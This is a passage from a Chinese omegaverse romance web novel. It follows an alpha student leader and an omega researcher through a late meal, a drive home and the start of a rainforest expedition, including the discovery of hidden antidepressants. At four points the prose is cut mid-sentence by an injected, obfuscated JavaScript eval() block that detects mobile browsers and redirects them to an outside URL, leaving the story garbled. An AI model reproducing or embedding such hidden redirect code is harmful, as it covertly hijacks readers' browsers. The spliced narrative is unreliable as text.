语气中带着不容置疑的果决,他走上前接过谈决怀里的文件:“跟我来。” 四食堂三楼的餐厅营业到很晚,可以加热饭菜,原骁把鸡排饭和紫菜汤热好,又给谈决买了个招牌小蛋糕,等他端着餐盘回到座位时,就看见谈决坐在角落,表情有些不安。 “没事的,三楼东西贵,晚上人少,没人认得出你,而且你那么年轻,人家只会以为你是刚从实验室出来的工科苦命学长,”原骁把餐盘递到他面前:“尝尝看。” 谈决这才安心下来:“谢谢。” 他先喝了两口紫菜汤,等肠胃慢慢恢复知觉才开始吃饭。 和外表给人的感觉不同,谈决其实很能吃,可能是因为脑力劳动消耗大,所以他可以斯斯文文地吃完一大份鸡排饭,还要一个小蛋糕当饭后甜点。 刚结婚的时候原骁都被谈决的饭量惊呆过,不过后来谈决生病厌食,肠胃也坏了,慢慢就吃的少了。 而且他吃饭就专心吃饭,不开小差,跟小孩子刚学会用勺子吃饭一样,原骁坐在他对面,静静看着,或许是alpha的目光太有存在感,谈决慢慢停下来。 他抬起头:“你饿吗?” 原骁才吃完饭没多久,一点都不饿,但他还是回答:“……有点。” 谈决在口袋里掏了掏,掏出一张饭卡递给原骁:“那你去买夜宵。” 原骁:“那也太浪费了,我吃不完。” 他暗示着什么,谈决果然听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185192|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂了,他看看原骁,又看看自己的盘子:“……你想吃我的鸡排?” 原骁没说话。 谈决沉默了下,似乎有些不愿意,但经过半天的天人交战,还是把碗往原骁那边挪了挪:“那给你吃一个。” 原骁微微挑眉:“我买的,只给我吃一个?” 谈决抬眼看他:“那你要几个?” 谈决这人有个不为人知的习惯,他护食,不是那种喜欢吃什么就要霸占起来不给别人吃的护食,是到了他碗里的就很难再给出去。 现在重活了一辈子,谈决的小习惯一点都没变。 原骁看着谈决明明老大不乐意,却还要装作大度的样子,唇角微微弯起来:“逗你的,我早吃饱了,你吃吧。” 谈决不知道是不是被原骁看出自己的小气了,狐疑道:“你真不要?” 原骁:“不要。” 谈决这才松了口气,继续对付鸡排饭。 吃完饭,他又把热热的紫菜汤喝完,最后看了一眼原骁手边的小蛋糕,却没说什么,只是站起来:“我去研究所了。” 原骁也站起来:“我送你。” 研究所虽然建在南校区,但校区太大,步行过去要半小时,九点以后校园巴士半小时一趟,原骁想了想:“你在这儿等一会儿,我去开车。” 谈决想起原骁的坐骑,忍不住问:“电动车?” 原骁没想到他还记着这茬:“是啊,我猜你肯定没试过晚上骑电动车在U大兜风,你在这儿等着,我马上来接你。” 谈决当然没试过,他虽然有驾照,但不喜欢开车,下班以后要么走路,要么打车,听见原骁说要骑电动车兜风,居然隐隐约约生出点期待,他在路口等了十分钟,都没看见那辆粉色电动车的身影,低头看手表,却没注意到一辆跑车缓缓停在了他身边。 他下意识后退几步,继续寻找电动车,一回头,就看见车窗玻璃慢慢降了下来,露出了驾驶座上那张年轻的,大帅逼一样的脸。 谈决愣了下,就听原骁笑眯眯道:“上车吧。” 谈决:“你的车?” 原骁:“嗯。” 谈决的关注点不对:“你为什么可以把车停在学校?” 他上学的时候,非节假日期间舍友想开车进来送东西都得预约填一大堆信息,原骁居然能大摇大摆把车停学校里。 原骁:“交住宿费的时候送了个停车位。” 谈决直觉这个住宿费不是自己想的住宿费:“你一年住宿费多少?” 原骁:“三十万。” 谈决:“……” 谈决家境也不好,他上大学后就不太和收养家庭联系了,一直省吃俭用自给自足,每年都拿全额奖学金,虽然不是自己的钱,但听见三十万住宿费,还是忍不住肉疼了下。 他坐上副驾,系好安全带,看着车上陌生的内饰,又忍不住好奇:“你的电动车呢?” 他还在想着兜风的事,原骁也看出来了:“你想坐电动车?” 谈决:“……还好。” 还好,那就是想的意思,原骁没想到自己媚眼抛给瞎子看,心血来潮想开一次屏,结果上千万的限量系列比不上三千块的电动车。 不过想想也是,像谈决这种视金钱如粪土的人,怎么可能跟他一样俗。 他一扒方向盘,无奈地笑了笑:“今天风大,骑电动车容易感冒。” “下次带你坐。” 18. 渣男 “……下次?”谈决重复了一遍原骁的话。 原骁笑了笑:“嗯,这次没坐上,当然只能下次。” 跑车慢悠悠地启动,原骁把车窗玻璃降下一点,让谈决能看见外边的风景,路边有学生三两成群,说说笑笑地往宿舍楼走,草坪上有情侣在聊天,夜风吹过,也吹开了谈决微微皱起的眉头。 他这些天实在有点焦头烂额了,先是感染腺体萎缩症住院,紧接着又遇上发情期,等身体好全回到实验室,却发现有个重要的光敏实验一直出错,接连几次实验结果都不一样。 实验没做完,他又要带队去西南雨林采集样本……中间余叔叔还给他打了好几个电话,时间好像怎么挤都挤不出来似的。 可现在他坐在车上,吹着夜风,看着路灯和树影慢慢后退,心中那点疲惫和郁结也一点一点消散,平和的情绪又重新回到他的胸腔。 他下意识回头,看向驾驶座上的原骁,alpha身上好像有种魔力,刚接触时会让人觉得他热情强势,然而离得近了才发现对方温和又包容。 原骁很少问为什么,也不说教,但就是给人一种他什么都知道,什么都能应付的错觉,总是在无声无息中就让谈决状态好起来。 “好看吗?”原骁突然出声。 他两眼盯住路面,没有转头,却知道谈决在看他。 谈决:“什么?” 原骁:“我好看吗?你一直盯着我的脸。” 他就这么直白地问出来了,一点也不知道矜持。 原骁是那种普世意义上的帅,就是不管什么审美的人看见都觉得帅的类型,谈决平时不太关注别人的外貌,但还是要承认原骁确实帅得很典型:“嗯。” 谈决绞尽脑汁想了个比较通俗易懂的形容词:“像渣男。” “怎么可能?”听见这话原骁就不干了,还有点委屈:“我这么专一,哪里像渣男?” 谈决唇角弯了弯:“哪里专一?” 原骁沉默了一下:“我可是处男。” 语气还有点骄傲。 谈决:“……这个我已经知道了,还有吗?” “只有我老婆才能夺走我的第一次。” 谈决:“……” 话题歪到了奇怪的地方,谈决莫名有点无语,又有点无奈,只能默默地从背后拿出水杯,拧开喝了一口:“哦。” 原骁有点期待地看着他:“那你想不想……” “到了。”谈决立马打断他,生怕alpha接下来再说什么虎狼之词。 原骁一抬眼,果然看见“人类生命进化研究所”几个大字,他打了个方向,把车停在了研究所大门外:“你去吧,我在这儿等你下班。” 言外之意还要送谈决回家。 谈决一愣,但没拒绝:“不进去吗?研究所有会客厅。” 原骁把脸往方向盘上一埋,露出一个失落的后脑勺:“我就不去了,没名没分的,对你影响不好。” 谈决:“真不去?” 原骁:“不去,我和蛋糕在这等你。” 谈决:“……好吧。” 他抱起文件下车,刷卡进门,原骁只能趴方向盘上思考人生,思考了一会儿又掏出手机玩消消乐。 大概一小时后,车窗终于被敲响了。 原骁看了眼时间,马上十二点。 谈决身上白大褂已经脱了,外套有些单薄,坐上副驾就开始看报告。 原骁没吵他,又担心他晕车,只是慢悠悠地开车往谈决家走,十二点十分,原骁的车终于停在了谈决家楼下,他熄了车,转头却看见副驾上的omega已经睡着了,眼下带着浅浅一层乌青。 原骁越看越心疼,收拾好散落的文件和歪倒的水杯,这才叫醒了人:“……谈决?谈决?” 谈决睡眠浅,很快就醒了,只是有点懵:“什么?” “到家了,上楼再睡。” 谈决迷迷糊糊下车,风一吹就醒了大半,alpha一手拿着他的水杯和报告,另一手拎着个小蛋糕:“我送你上去。” 坐电梯的过程,谈决彻底清醒了,他在电梯的反光里看见alpha的影子,微微怔然。 他一直独居,凌晨回家也是常事,还是第一次有人陪自己下班。 他出来的时候研究所的保安都睡下了,只有原骁的车还停在原地。 他习惯了孤独,反而很难适应这种热闹,直到他打开家门,alpha却没跟进来,他才回过神。 原骁站在门口:“那我走了,你早点睡。” 谈决都快忘了,他和原骁现在连情侣都不是,alpha是要回家的,不留下来过夜。 短短两次独处,他就已经习惯了alpha的陪伴,谈决敏锐地察觉到自己有些过分依赖对方,于是这次没再留对方过夜,只“嗯”了一声:“路上小心。” 原骁看他累得连说话的精力都没有了,把小蛋糕交到谈决手里:“好好休息。” 谈决终于低下头:“给我的?” 原骁:“当然是给你的,我晚上又不吃甜食。” “……而且别以为我不知道你在路上偷看了小蛋糕好几次。” 被戳穿了想法,谈决也有点不好意思,原骁却没继续笑话他,反而靠近抱了抱omega:“晚安,下周见。” 两个人离得太近,谈决闻到了alpha身上的信息素,向日葵味,微甜,像太阳晒过,很温暖。 alpha一离开,这种温暖就会被抽走。 他闭了闭眼,忍不住轻声回应对方。 “下周见。” . 谈决过了一个兵荒马乱的周末,当然原骁当然也没闲着。 他作为领队小队长,不仅要做好计划,还要提前和本地向导联系。 周五送谈决回家以后,他跟宋锦就开始收拾行李,抑制剂和抑制贴是最重要的,然后是应急药品;雨林环境恶劣,食物还可能不合口味,于是他们又准备了大量零食,大量方便面,大量压缩饼干,然后是衣服和花露水……两个人装了满满四大箱。 出发去机场的时候,特战班所有人都大包小包,没有一个行李不超重的。 研究所一共就来了五个人,由谈决带队,这些知识分子就保守得多,只带了必需品,谈决安排完行李托运,又清点了人数,以防意外,又把所有人的身份证都收自己手里捏着,谁知道临登机前,一个陌生的alpha终于拖着行李姗姗来迟。 他踩着点交完行李,这才把身份证递给原骁:“不好意思来晚了,这是我的。” 原骁一愣,看见身份证上写着“余文曜”三个字,不是特战班的学生:“你是……” “所里新来的实习生。” 原骁下意识回头去看谈决,后者点点头,算是默认。 原骁是知道队伍名单的,根本没有一个叫“余文曜”的alpha实习生。 他正奇怪,余文曜却径直朝谈决走过去:“哥。” 哥? 原骁皱起眉,谈决不是孤儿吗?什么时候有个弟弟? 谈决似乎也不想暴露两人的关系,提醒他:“我是0218 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185193|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项目的负责人,职能上应该算你的老师。” 余文曜愣了下,神情有点微妙,他似乎不太情愿,但还是勉为其难地开口:“……谈老师。” 原骁就在旁边,把二人的对话听得一清二楚。 上辈子他和谈决是强制匹配,登记得很匆忙,没办婚礼,也没见过家长。 他只知道谈决是孤儿,小时候被一家医院的院长收养,大学到工作都一个人独居,和养父母关系并不亲近。 他心中疑惑,却不好当面追问,眼看着时间快到了,又把身份证和机票发给其他人安排他们登机。 下了飞机还要转乘高铁,高铁落地还要继续往西南的山区深入。 他们行李多不方便,好在原骁提前安排了面包车,行李和人都能坐得下,傍晚七点多,三辆面包车终于拉着考察队跌跌撞撞地抵达了民宿。 这地方太偏僻,山路难行,又颠又绕,特别磨人,刚一下车,研究所有两个omega就没忍住吐了,连谈决脸色都不太好。 这也是这次考察只选了年轻人的原因,年纪太大的身体根本承受不住。 特战班的身体素质要好很多,颠簸了一天还精神抖擞,原骁一边指挥队员搬行李,一边给向导打电话,没几分钟,一个四十来岁,肤色黝黑的中年beta就来接他们。 看见原骁,他赶忙热情地迎上来,一边说话一边递了支烟过来:“你们总算来了!欢迎欢迎!我还总担心你们路上出事。” 原骁不抽烟,开门见山:“房间准备好了吗?” 说是民宿,其实就是住在村里,这边靠近雨林,算半个景区,村里有钱有头脑的就会盖个农家乐,闲的时候接待下游客和考察队。 队伍里人多,安置起来费力又费时,原骁更是忙得脚不沾地,本来他计划今晚所有人吃顿饭,这样也方便熟悉一下拉近关系,但队伍里好几个人晕车不舒服,他只能取消计划,让想吃的人自己去餐厅。 说是餐厅,其实也就是个大锅饭的灶房,饭菜量大管饱,不会挨饿,但和在云城肯定没法比。 原骁和宋锦去了餐厅,落地第一顿,老板很有诚意,全都是大鱼大肉,用料足,鸡肉还在滋滋冒油。 宋锦白天就吃了桶泡面,现在看见晚饭都两眼放光:“我的妈!这里是天堂吗?我快饿死了!” “开饭开饭!” 特战班几个身强体壮已经迫不及待了,两只眼睛都在冒绿光,原骁点了点人数,发现研究所六个人只来了两个,其他四个都在修养,其中就包括谈决还有余文曜。 大鱼大肉虽然补,但晕车的人肯定是吃不下,可今晚不吃饭,明天怎么有精力进雨林? 原骁想了下,很快就有了主意。 但当务之急得看看谈决的情况,他没吃饭,只是上了楼,谈决住二楼右拐第二间,谁知他刚到门口,就见房门开着,里面传来说话:“哥,你为什么不回家?” 是余文曜的声音,原骁脚步一顿。 紧接着就是谈决疲惫的回应:“工作忙。” “工作忙?”余文曜嗤笑了一下:“你每次都找同一个借口,今年忙去年忙前年也忙?你到底什么时候不忙?” 谈决没说话。 “行,你工作忙,我们不强求,但你感染住院这么大的事为什么不通知家里?”余文曜似乎不打算放过他,继续咄咄逼人。 谈决还是没说话。 余文曜见状也有些恼了,他似乎想发火,最后还是深吸一口气,忍住了,顺便换了个话题。 “听说你感染后就发情了?” 19. 隐秘 “已经没事了。”谈决不想聊这件事,还是那种不太积极的语气。 余文曜终于还是没忍住:“那要是出了事怎么办?” “你总是这样,什么都不跟家里说,上了大学后你回过几次家?逢年过节只会发红包发红包,今年除夕爸妈都盼着你回来,还特意给你包了饺子……结果你不回家,连感染这么大的事都瞒着!” 他忍不住问出了一直以来藏在心里的困惑:“哥,我觉得你变了,你到底怎么了? 他越直白,谈决就越沉默,这种理所应当的质问像座无形的山,沉甸甸压得人难以呼吸。 门外的原骁却忍不住皱了皱眉。 什么玩意儿?刚到地方就一刻不停跑来质问谈决,就算是家人也没资格这么咄咄逼人吧? 而房间里,气氛已经凝固到了冰点,谈决看着面前和他年纪相仿的alpha,话到了嘴边,却什么也说不出,他的脑子里忽然升起一阵刺痛,针扎似的,他忍不住捏了捏眉心,一边伸手去拿桌上的药瓶:“我现在不想聊这些,行吗?” 余文曜:“我——” 他话没出口,就被一阵敲门声打断。 咚咚——两个人循声望过去,就见一个alpha站在门口,身材修长,民宿房间小,对方几乎要有门框高了。 原骁微微笑着,一边收回敲门的手,看起来好说话,态度却不容推诿:“打扰一下。” “有人想开小灶吗?” 余文曜脸色变得有些难看,他似乎在烦这人打断了他们的聊天,但原骁是队长,接下来半个月都要待在雨林,他再怎么不乐意也要给对方点面子,不然容易被穿小鞋。 余文曜其实没晕车,他只是想来找谈决谈一谈,现在被打断了,他也只能老老实实去吃饭:“不用了,我自己去餐厅。” 他看了一眼谈决,临走前还是忍不住留下一句:“我有空再来找你。” 谈决:“……随你。” 余文曜走出房间,经过原骁时忍不住多看了一眼,alpha抱着手靠在门边,笑眯眯的,但眼底没什么温度,莫名让他不太喜欢。 他在心里嗤笑一声,转身下了楼。 讨厌的人走了,原骁终于收起了笑容,看向房间里的谈决:“我可以进来吗?” 谈决终于松了口气:“嗯。” 原骁进了房间,也没隐瞒什么:“刚刚在楼道里,我不小心听到你们的对话了。” 房门没关,听见也是正常的,他们也没说什么见不得人的事,谈决不介意:“没关系。” “他……他是我养父母家的孩子,比我小半岁,”谈决怕他误会什么,想了想还是多解释了一句:“明年他要申请U大的保研名额,我养父给我打电话,让他来所里实习一段时间。” 谈决不是那种喜欢在职场上讲人情关系的人,尤其是科研,会就是会,不会就是不会,行就是行,不行就是不行,半瓶水晃荡的人做不了科研,但余文曜有点特殊。 “以前我进研究所,余叔叔也帮我写过推荐信,所以……” “我知道,”原骁不在意这个,水至清则无鱼,现在各行各业都多少沾点裙带关系,像他爹,他大哥这种整天和人打交道的更明显,何况这人是谈决养父的孩子。 但他不太懂谈决和家里的关系,可看着对方疲惫的眉眼,知道这人晕车不舒服,原骁也没心情再问什么:“好点了吗?” “还好,就是不想吃饭。” 晚饭荤腥重,谈决晕车虽然不严重,但也没什么胃口,另外两个同事吐得天昏地暗,更吃不下。 “我看民宿后面有小菜园,可以自己做饭,不然你把你两个同事叫起来,我给你们开小灶?” 给谈决一个人开小灶太显眼,影响不好,但给三个人开小灶就合理多了。 原骁一天都在组织队员,跑上跑下,谈决也心疼他:“你不累吗?” 原骁挑眉:“怎么会?我可是alpha。” 谈决其实有点心动,毕竟饿了一天没吃东西,明天还要进雨林,得补充能量,而且他见识过alpha的手艺,就更心动了。 但是因为晕车就让人开小灶,会不会太矫情了? 原骁看着他的脸色,很快就猜到他在想什么:“走嘛,走嘛,我想给你做饭……” alpha蹲下来,长手长脚一个,仰头看着坐在简易书桌边的谈决,带着点撒娇的意味。 他带队的时候可不是这个样子,但私底下对着谈决就喜欢耍赖,谈决定定看着他,思考一个人怎么会有两副面孔,只好站起来:“走吧。” 他一边说着,一边没忍住揉了下alpha的头发,原骁只觉得脑袋一热,紧接着温度又消失,等反应过来谈决在做什么的时候,瞬间呆住了。 “你干嘛偷袭我?”原骁站起来,捂着自己的头发。 谈决这个人……也太犯规了吧? 谈决也后知后觉自己手欠,面无表情道:“我看看你的头发健不健康。” 原骁:“……” 谈决笑了笑,转身把手里的东西放在桌上:“走吧,我跟你下去。” 原骁眼尖地看见那是个药瓶,透明的,没有药品名和标签。 他上辈子见过这东西,心跳瞬间一停,他走上前拿起药瓶:“这是什么?” alpha反应不太正常,谈决也没遮掩:“晕车药。” “晕车药?”原骁定定看着他:“……你确定是晕车药?” 谈决差点要以为他看出了什么,莫名有些不安起来,但还是点点头:“嗯。” 原骁沉默下来。 他没说什么,只是捏着药瓶,像要把它捏碎一样。 但他不能,他甚至不敢让脸色太差,只能装作不认识这个药瓶,也不认识里面那些药。 上辈子谈决生病的时候,就把药装在这种瓶子里,一粒一粒的,没有包装,也没有说明,原骁连查都查不出是什么。 谈决非常抵触被人发现病情,所以他一直伪装得很好,不管是同事还是原骁问起,他也只是说是钙片、是治夜盲症的,是安眠药。 后来原骁对照着谈决的病例处方,一样一样查,一样一样买回来看,这才知道谈决一直吃的都是抗抑郁的药。 可是谈决的腺体萎缩症已经痊愈,许眠也活过来了,他们之间没有误会,没有强制婚姻,没有管教项圈,为什么谈决还在偷偷吃药? 他以为一切都已经和上辈子不一样了,为什么兜兜转转还是回到了原点? 原骁不明白,他甚至感到恐慌,上辈子谈决自杀的画面仍历历在目。 但他不敢表现出来,甚至只能故作轻松地把药瓶放回桌上:“……少吃这些东西,多吃饭。” 谈决不知道他有没有看出来:“嗯。” 他和唐溯舟是同学,两个人一直有联系,私底下经常交流,他也一直知道自己有点抑郁和焦虑的倾向,轻度,但不影响工作和生活。 但最近或许是发生的事太多,余叔叔和余文曜又频繁联系他,他总是整晚睡不着,手脚冰凉,好不容易睡着了又做噩梦,病情隐隐有加重的倾向,他才让唐溯舟开了点药。 不过唐溯舟也说了,抗抑郁的药品会影响情绪,稍不注意还容易成瘾,能尽量自己克服的时候就别轻易吃药。 谈决对自己的养父母一直都很敬重,但没办法和他们交心,刚刚看到余文曜的时候,他才忍不住想吃药。 原骁不知道他吃了多久的药,又不敢捅破,更不知道该怎么问出口,只能装作不知道:“那我先去小菜园摘菜,你记得叫上其他人。” 谈决点点头。 原骁一个人下楼,心如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185194|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱麻地进了小菜园。 宋锦已经吃完饭了,看见他拎着个篮子:“你干嘛去?不吃饭了?” 原骁:“……给谈老师他们开小灶。” 宋锦顿时来了兴趣:“开小灶?真的假的?你会做饭吗你?” 原骁烦他:“……你不帮忙就滚蛋。” 宋锦吃撑了正没事做:“帮帮帮——他们晕车的确实得吃点清淡的,我倒要看看你能做出什么玩意儿!” 两个人拔了把小青菜,两个番茄,几个辣椒,一把小葱。 原骁都想好了,小青菜水煮,小葱切碎了放在鲜牛肉煮的汤里,开胃不油腻,番茄在水里烫过,和辣椒一起剁碎,和着鲜肉一块炒出锅,最下饭解腻。 宋锦原本只是来凑热闹,结果看见原骁进了厨房跟进自己家一样,切菜炒菜干净利落,没半个小时就把饭做好,只觉得受到了深深的背刺:“不是你真会做饭啊?我都不知道!” 宋锦当然不知道,因为原骁的厨艺是他上辈子和谈决结婚以后才学的:“你不知道的多了去了。” 宋锦还是很不爽:“讲真的,咱两玩了这么久,我都没吃过你做的饭。” 原骁抱着手:“……所以?” 宋锦去灶台上抱了个碗下来:“所以我要再吃一顿。” 原骁:“……” 他们这边热热闹闹叮叮当当,很快就吸引来了一群人围观,在锅边探头探脑,这个年纪的学生又馋又懒,看见队长亲自下厨,一个个都跃跃欲试。 正好那边的人还没吃完,原骁想了想,留够了其他三个人的份,把饭菜端上了桌:“一起吃吧,正好我也没吃。” 几分钟后,谈决带着两个快脱水的研究员来到了餐厅。 宋锦吃人嘴短,干活却很殷勤,招呼他们坐下:“谈老师来了?坐坐坐,先喝点水煮青菜汤。” 谈决在原骁旁边坐下,他身边跟着两个脸色苍白omega,其中一个就是小沐,看见菜汤和牛肉汤眼睛都亮了:“我要我要!” 谈决和原骁是队伍里的核心人物,他们一来,大家当然要过来凑凑热闹说说话,民宿老板又把已经凉透的菜重新下锅热了一遍,两波人各吃各的互不打扰,但也算是破冰了。 有特战班的队员夸赞道:“没想到,真的没想到,队长你厨艺居然这么好,这一趟咱们选队长可选对了!” “现在长得帅还会做饭的alpha已经很少见了!” 原骁一边吃饭,一边不动声色地看向身边的谈决,看着他斯斯文文地舀了一大碗米饭,又斯斯文文地把红三剁往饭上浇,刚才发现药瓶的挫败心情也慢慢好了点,他弯了弯唇角:“那怎么办呢,不会做饭以后怎么找对象?” 他余光看见谈决吃饭的动作微微一顿。 一聊起八卦,大家腰也不酸了,腿也不疼了,车也不晕了,全都凑了上来起哄:“真没对象还是假没对象?不是吧队长,你这个条件你会没对象?” 宋锦是知道内情的,根本不敢起哄,只安静如鸡地坐在一边扒饭,偶尔偷看一眼谈决。 原骁就大胆多了:“真的啊,我骗你们干什么?不过嘛……” “不过什么?不过你已经有喜欢的人了?” “说呀!你别吊胃口啊队长!” 听见这话,正专心吃饭的谈决也不知不觉放缓速度,竖起耳朵想听听alpha会说什么。 他们靠得不近,就是同伴间再合适不过距离,从这个角度,他只能看见原骁的半边身子,还有骨相优越的侧脸。 “是有喜欢的人了,不过他有点害羞。”alpha没有回头,唇角噙着一点若有若无的笑,礼貌,但不会让人觉得傲慢,他一说话,所有人的目光都不由自主看向他,像个在人际关系中游刃有余,四处拈花惹草的渣A。 “我还在追。” 20. 进雨林 这话一出,饭桌上忽地爆发出一阵揶揄的起哄声。 “怎么个难追法?”alpha们口无遮拦,忍不住瞎想起来:“这么难追,肯定是漂亮小o吧?” “嗯,很漂亮。” “喜欢多久了?” 原骁想了想:“挺久了,我一直不好意思说。” “不是吧?没想到队长你这浓眉大眼的还搞暗恋啊!” omega们害羞,只笑着吃饭,唯独身为当事人的谈决像被架在火上烤,笑也不是,不笑也不是:“……” 虽然原骁从头到尾都没有回头,但言外之意句句都在说给他听。 气氛都炒到这儿了,其他人又悄悄看向谈决,想听他也八卦八卦:“谈老师呢?谈老师聊聊吧,您这么年轻有为,追你的人应该很多吧?” 谈决没想到话题会落到自己身上,也没有冷脸,只停下筷子:“……没有,我平时工作很忙。” 他不擅长聊这些,原骁适时地插话:“行了啊,和我开开玩笑就算了,别对着谈老师没大没小。” 其他人笑笑,不敢起哄了,原骁看谈决端着碗白饭出神,给他夹了两块嫩牛肉。 谈决一愣:“……谢谢。” “不用谢。” 队伍热热闹闹,原骁和谈决在这边说话,其他人也不觉得有什么,直到一个人不合时宜地站起来:“我吃饱了。” 余文曜放下空碗:“我有点不舒服,先回房间了。” 说完就冷着脸,头也不回地走了,特战班和研究所的人都和他不熟,见状有些尴尬地对视一眼。 原骁:“没关系,待会我去看看。” 考虑到白天路途疲惫,明天又有行程,他们没聊太久,吃完饭其他队员各自回房间洗漱,原骁和谈决留下来跟向导规划路线和地图。 等一切结束时,已经晚上十点多,原骁让谈决先回房间休息,自己顺着两层楼一间一间查房,看看有没有人在,再嘱咐他们晚上锁好门窗。 队伍总共十六个人,单人间不够住,同性别的就挤一挤,原骁就和宋锦住一间,不过最后分配下来,还是有一A和一O要单住,谈决和余文曜都各自单住。 alpha都住一楼,原骁查房查到拐角,看了眼房号,想到里面住的是谁,顿了顿,敲响了门。 没多久,房门被“哗”一下打开,余文曜看见来的是原骁,神情忽然有些微妙起来:“……什么事?” 原骁:“没什么,我来查个房,看看大家的情况。” 余文曜:“哦,那我很好,你可以走了。” 原骁是看出来了,谈决这位弟弟对自己好像有点意见,不过他也懒得和对方计较:“那就好,我还担心你们住不惯。” 余文曜面无表情:“谢谢关心。” 原骁笑了笑:“不用谢,毕竟我是队长,要照顾所有人,以后有什么困难你都可以和我说。” 对方没说话,谈决又嘱咐他关好门窗,临走时,余文曜忽然在背后问他:“你和我哥是什么关系?” 原骁停下脚步,他不知道对方问这个意义是什么,目的是什么,只是用了个暧昧的反问:“你觉得我们是什么关系?” “或者说你想我们是什么关系?” 余文曜终于察觉到一点挑衅,他从见面起就不喜欢这个alpha,对方装得滴水不漏,实则一举一动都围着谈决转。 但这是正常的,毕竟谈决年轻,漂亮,光那张脸就能勾得大把alpha为他砸钱,给他当狗,最让余文曜接受不了的是谈决对原骁的态度。 那是截然不同的接纳,亲密,甚至带着点说不清的依赖,别人看不出来,但余文曜可以。 因为谈决总是那个样子,沉默寡言,甚至有些孤僻,他总是把自己的未来规划地井井有条,然后拒绝所有想靠近他的人。 原骁在饭桌上说的那些话,摆明了就是在说给谈决听吧? 凭什么这个alpha可以? 他越想越觉得荒谬:“不管你们是什么关系,我们家都不会接纳你。” 原骁静静听完,忽然笑了下。 很轻的笑,听起来却无比刺耳,就像在说“谁稀罕”似的:“没关系,谈决接纳我就可以了。” 这才是真正诛心的话,因为从谈决好几年只发红包不回家的情况来看,谈决也不接纳余文曜和他的父母。 余文曜:“……” 原骁懒得和这种自我意识过剩的小朋友争辩,只公事公办:“早点睡吧,我走了。” 二楼住的都是omega和beta,他不方便一间一间查,只拜托了小沐帮忙,得知所有队员都回到房间后,他今天的任务终于告一段落。 他本来打算下楼睡觉,想了想,还是敲响了谈决的门。 谈决刚洗漱完,穿了件衬衫,身形有些单薄,开门看见原骁也愣了下,下意识看向他两边。 原骁总觉得上楼见一面跟地下情似的:“放心吧,只有我一个人。” 谈决:“……你有事吗?” 原骁食指和拇指轻轻摩挲了下:“没事,就是不放心,想来看看你。” 不放心?不放心什么? 原骁看见桌上电脑开着,就知道这人又在工作:“这边昼夜温差大,容易着凉,记得把门窗关好,累的话用热水泡完脚再睡,还有,别熬太晚。” 原来是不放心这个。 他事无巨细都交代,搞得像谈决不能自理一样:“……其实你可以直接给我发消息。” “那怎么能一样?”口头上的关照和实际行动多少有点区别:“而且如果我不来,又怎么能抱你呢?” 他说完不等同意,就凑近抱了抱omega,谈决瞬间僵住:“……晚安,谈决。” 他好像专门上来就是为了和谈决拥抱似的,也没进房间,抱完就松手:“睡不着就给我打电话。” 从打断余文曜的质问,再到alpha不厌其烦给他们开小灶,最后到临睡前的一个拥抱,谈决皱缩疲惫的心脏被一点点,一层层安慰抚平。 在让谈决开心这件事上,原骁好像一直天赋异禀。 熟悉的向日葵信息素把omega包围,深夜的走廊空无一人,就算他们在门口拥抱也不会被发现,谈决的胆子终于大了点,轻声回应:“晚安。” 回到房间后,原骁又给谈决发了几个可爱的睡觉表情包,宋锦刚洗完澡,困得不想说话,在床上躺尸。 原骁洗了个澡,吹干头发后等到了谈决恢复,终于放下心来,把灯一关,埋头睡到了天亮。 第二天天一亮,一群人就早早起床吃早点,吃完早点就进雨林。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185195|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雨林占地面积很大,是自然保护区,外围看着不怎么样,也有人烟,但进了雨林才是蛇虫鼠蚁一大堆,非常不妙。 但他们要采集的真菌需要极端纯净的生长环境,且只生长在雨林深处的水潭附近,能不能找到全凭运气。 第一天进雨林,队伍保守地选了东边方向稍近处的几个水潭作为目标,一群人穿好防护服和靴子,清早吭哧吭哧出发,中午才抵达。 十一点半,队里几个体力差的已经累得走不动了,原骁和向导一商量,决定坐下来吃点东西,补充能量。 